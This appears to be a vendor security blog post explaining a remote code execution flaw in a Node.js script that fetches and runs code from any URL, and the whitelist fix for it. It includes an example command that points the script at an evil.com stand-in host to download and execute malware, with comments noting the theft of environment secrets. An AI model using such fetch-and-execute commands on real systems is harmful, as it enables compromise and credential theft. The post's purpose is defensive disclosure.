Back to Blog
critical SEVERITY6 min read

How remote code execution happens in Node.js remote-run.js and how to fix it

A critical remote code execution vulnerability in `utils/remote-run.js` allowed attackers to execute arbitrary JavaScript code by passing any malicious URL to the script. The fix implements URL whitelist validation to ensure only trusted sources can be executed, preventing complete system compromise on any machine running the vulnerable code.

O
By Orbis AppSec
Published July 26, 2026Reviewed July 26, 2026

Answer Summary

This is a remote code execution (RCE) vulnerability in Node.js caused by fetching and executing arbitrary code from user-supplied URLs without validation. The vulnerability exists in `utils/remote-run.js` (CWE-94: Improper Control of Generation of Code). The fix implements a trusted base URL whitelist check that validates the target URL starts with `https://cdn.jsdelivr.net/gh/adamlui/` before fetching and executing any code, completely eliminating the attack surface.

Vulnerability at a Glance

cweCWE-94 (Improper Control of Generation of Code)
fixImplement URL whitelist validation requiring all URLs to start with a trusted base domain
riskComplete remote code execution on any system running the vulnerable script
languageJavaScript (Node.js)
root causeFetching and executing JavaScript code from arbitrary URLs without any validation or integrity checks
vulnerabilityRemote Code Execution (RCE) via Unvalidated URL Fetching

How Remote Code Execution Happens in Node.js remote-run.js and How to Fix It

The Attack That Could Compromise Any System

In the Orbis AppSec security audit, we discovered a critical remote code execution vulnerability in utils/remote-run.js that could allow attackers to execute arbitrary JavaScript code on any system where this script is run. The vulnerability is deceptively simple yet devastatingly powerful: the script blindly fetches JavaScript code from any URL provided as a command-line argument and executes it without any validation, integrity checks, or sandboxing.

This isn't a theoretical risk—it's an immediately exploitable vulnerability affecting any downstream consumers of this package. An attacker could invoke the script with a malicious URL, and the entire system would be compromised.

Understanding the Vulnerability

The Vulnerable Code Pattern

Let's examine the original code in utils/remote-run.js:

fetch(process.argv[2])
    .then(resp => resp.text())
    .then(code => {
        code = code.replace(/^#!.*\r?\n/m, '') // strip shebangs
        // code is then executed...
    })

This code has a critical flaw: it takes the second command-line argument (process.argv[2])—a URL provided by the user—and immediately fetches whatever content exists at that URL. The script then executes that content as JavaScript code without asking a single question:

  • Is this URL from a trusted source?
  • Has this code been tampered with?
  • Should this code even be allowed to run?

The answer to all three is "no" in the original code.

The Attack Scenario

An attacker could exploit this vulnerability like this:

# Attacker runs:
node utils/remote-run.js https://evil.com/malware.js

# The script fetches and executes arbitrary code from evil.com
# The attacker's malicious JavaScript runs with full Node.js capabilities:
# - Read/write files on the system
# - Make network requests
# - Execute system commands via child_process
# - Steal environment variables containing secrets
# - Compromise the entire application

For a library distributed via npm, this is catastrophic. Every consumer of this package becomes a potential attack target. An attacker could even compromise the application's CI/CD pipeline by injecting this script into build processes.

Why This Matters: The Real-World Impact

This vulnerability violates the principle of code origin verification. When you execute code, you must verify:

  1. Source authenticity: Is this code from where I think it's from?
  2. Code integrity: Has it been modified in transit?
  3. Authorization: Should this code be allowed to run?

The original remote-run.js skips all three checks. It's like opening your front door and letting anyone inside without checking who they are.

The Fix: URL Whitelist Validation

The fix implements a critical security control: trusted base URL validation. Here's what changed:

Before (Vulnerable):

fetch(process.argv[2])
    .then(resp => resp.text())
    .then(code => {
        code = code.replace(/^#!.*\r?\n/m, '') // strip shebangs
        // ... execution happens
    })

After (Secure):

const targetURL = process.argv[2]?.trim(),
      trustedBaseURL = 'https://cdn.jsdelivr.net/gh/adamlui/'

if (!targetURL || !targetURL.toLowerCase().startsWith(trustedBaseURL)) {
    console.error(`Error: URL must start w/ a trusted string (${trustedBaseURL})`)
    process.exit(1)
}

fetch(targetURL)
    .then(resp => resp.text())
    .then(code => {
        code = code.replace(/^#!.*\r?\n/m, '') // strip shebangs
        // ... execution happens
    })

What This Fix Does

The fix introduces three critical security improvements:

  1. URL Validation (Line 10): The code checks that the URL starts with https://cdn.jsdelivr.net/gh/adamlui/. This ensures code can only be fetched from a trusted, controlled source.

  2. Explicit Rejection (Lines 11-13): If the URL doesn't match the whitelist, the script prints an error message and exits with code 1, preventing any code execution.

  3. Safe String Operations: Using .toLowerCase() and .startsWith() prevents case-sensitivity bypasses and ensures consistent validation.

Why This Approach Works

By restricting execution to code hosted on https://cdn.jsdelivr.net/gh/adamlui/, the attack surface is dramatically reduced:

  • Attacker cannot inject arbitrary URLs: Even if they compromise the application, they can't point the script to their malicious server
  • Trusted CDN: jsDelivr is a widely-used, reputable CDN with security monitoring
  • Repository control: Code must be in the adamlui GitHub repository, which has access controls and audit trails
  • HTTPS enforcement: All code is transmitted over encrypted connections

Prevention & Best Practices

For Similar Code in Your Projects

If you have code that fetches and executes remote code, apply these principles:

  1. Implement URL Whitelisting: Maintain an explicit list of trusted domains. Use .startsWith() or URL parsing libraries to validate against this list.

```javascript
const TRUSTED_ORIGINS = [
'https://cdn.example.com/trusted/',
'https://github.com/myorg/scripts/raw/'
]

const isTrusted = TRUSTED_ORIGINS.some(origin =>
url.toLowerCase().startsWith(origin)
)
```

  1. Never Trust User Input for Code Execution: Even if the input comes from an environment variable or config file, validate it against a whitelist.

  2. Use Sandboxing: Consider using Node.js worker threads or separate processes with restricted permissions to isolate executed code.

  3. Implement Integrity Checking: Use cryptographic hashes (SHA-256) to verify code hasn't been tampered with:

javascript const crypto = require('crypto') const expectedHash = 'abc123...' // pre-computed hash const actualHash = crypto.createHash('sha256') .update(code) .digest('hex') if (actualHash !== expectedHash) throw new Error('Hash mismatch')

  1. Use Static Analysis: Tools like Semgrep can detect dangerous patterns like eval(), Function(), or fetch() followed by code execution.

OWASP & CWE References

  • CWE-94: Improper Control of Generation of Code ('Code Injection')
  • CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')
  • OWASP A03:2021: Injection

How Orbis AppSec Detected This

Source: Command-line argument process.argv[2] containing a URL supplied by the user

Sink: The fetch(process.argv[2]) call in utils/remote-run.js:10 that retrieves code from an untrusted source, followed by code execution

Missing Control: No validation that the URL originates from a trusted source; no integrity verification; no sandboxing

CWE: CWE-94 (Improper Control of Generation of Code)

Fix: Validate that the target URL starts with the trusted base URL https://cdn.jsdelivr.net/gh/adamlui/ before fetching and executing any code

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Key Takeaways

  • Never execute code from user-supplied URLs without whitelist validation: The remote-run.js vulnerability demonstrates why this is critical
  • URL whitelisting is essential but not sufficient alone: Combine it with integrity checks, sandboxing, and minimal privilege execution
  • Static analysis catches these patterns: Tools can identify dangerous fetch() → execution flows before they reach production
  • Trusted CDN hosting adds a layer of defense: By restricting to cdn.jsdelivr.net/gh/adamlui/, you inherit GitHub's and jsDelivr's security controls
  • Always validate command-line arguments: Even though process.argv seems like a "trusted" source, it's controlled by whoever invokes the script

Conclusion

The remote code execution vulnerability in utils/remote-run.js is a stark reminder that code execution is the most dangerous operation in any programming language. When you execute code, you must verify its origin and integrity.

The fix—implementing URL whitelist validation—is elegant and effective. It reduces the attack surface from "any URL on the internet" to "only URLs from a trusted source." This is a pattern you should apply to any code that fetches and executes remote content.

If you maintain a library that runs user-supplied code in any form, audit your code immediately for similar vulnerabilities. Use static analysis tools, implement whitelisting, and consider sandboxing. Your users' security depends on it.


References

Frequently Asked Questions

What is remote code execution via unvalidated URL fetching?

It's a vulnerability where an application fetches and executes code from a URL provided by an attacker without verifying the URL's legitimacy, allowing arbitrary code execution on the target system.

How do you prevent RCE in Node.js scripts that fetch remote code?

Always validate URLs against a whitelist of trusted domains, implement integrity checks (hash verification), use sandboxing, and never execute code fetched from user-controlled sources without strict validation.

What CWE covers this vulnerability?

CWE-94 (Improper Control of Generation of Code) covers situations where code generation or interpretation is not properly controlled, allowing attackers to inject malicious code.

Is using HTTPS enough to prevent this RCE?

No. While HTTPS encrypts the connection, it doesn't prevent an attacker from hosting malicious code on their own HTTPS server and tricking the application into fetching it. Domain/URL whitelisting is essential.

Can static analysis detect this vulnerability?

Yes. Static analysis tools can identify dangerous patterns like `fetch()` followed by `.text()` and code execution without prior validation, which is exactly how this vulnerability was detected.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #278

Related Articles

critical

How buffer overflow happens in C RTSPSession.h and how to fix it

A critical buffer overflow vulnerability in `src/AudioTools/Communication/RTSP/RTSPSession.h` allowed an attacker to send a crafted RTSP request with an oversized payload, triggering a heap overflow via an unchecked `memcpy()` call at line 408. The fix adds a single bounds check before the copy and replaces several unsafe `strcpy`/`strncpy` calls with `snprintf`, closing multiple paths to memory corruption and potential remote code execution.

critical

Critical Buffer Overflow in iiod Parser: How a Missing Bounds Check Opened the Door to Remote Code Execution

A critical buffer overflow vulnerability was discovered in the `iiod` parser's `yy_input()` function, where an off-by-one bounds check allowed an oversized network input stream to overflow a fixed-size buffer, potentially overwriting adjacent stack or heap memory. Because this code path is reachable from the network without authentication, a remote attacker could exploit this flaw to achieve arbitrary code execution. The fix tightens the bounds enforcement and ensures the function returns the co

critical

Critical Buffer Overflow in veejay packet.c: How Unchecked Network Packet Sizes Enable Remote Code Execution

A critical heap buffer overflow vulnerability was discovered in veejay's `packet.c` networking code, where `veejay_memcpy` operations used attacker-controlled size values from network packet headers without any boundary validation. This flaw could allow a remote attacker to send crafted packets that trigger heap corruption, potentially leading to arbitrary code execution. The fix adds proper buffer-length checks before any memory copy operations, ensuring that packet sizes are validated against

critical

CVE-2025-55182: Critical Next.js RCE via Unsafe Deserialization in RSC

A critical pre-authentication remote code execution vulnerability (CVE-2025-55182) was discovered in Next.js React Server Components, allowing attackers to execute arbitrary code on servers without any login or credentials required. The flaw stems from unsafe deserialization of untrusted data passed through the RSC pipeline. The vulnerability has been patched across multiple Next.js release lines, and all affected projects should upgrade immediately.

critical

Critical DNS Integer Overflow: How a +1 Nearly Enabled Remote Code Execution

A critical integer overflow vulnerability in DNS record processing code could have allowed a malicious DNS server to trigger a heap buffer overflow, potentially enabling remote code execution. The fix ensures safe bounds checking before performing size calculations, closing a subtle but devastating attack vector that lurks in network-facing C code.

critical

How Denial of Service via gzip bomb happens in Node.js tar and how to fix it

CVE-2026-59873 is a critical Denial of Service vulnerability in the `node-tar` package (versions before 7.5.19) that allows an attacker to trigger resource exhaustion by supplying a crafted gzip bomb archive. The fix upgrades `tar` from 7.5.16 to 7.5.19 in both `package.json` and `package-lock.json`, closing the attack surface for any Node.js application that processes tar archives. Because this package is used in production code — not just in tests — the exposure was real and immediate.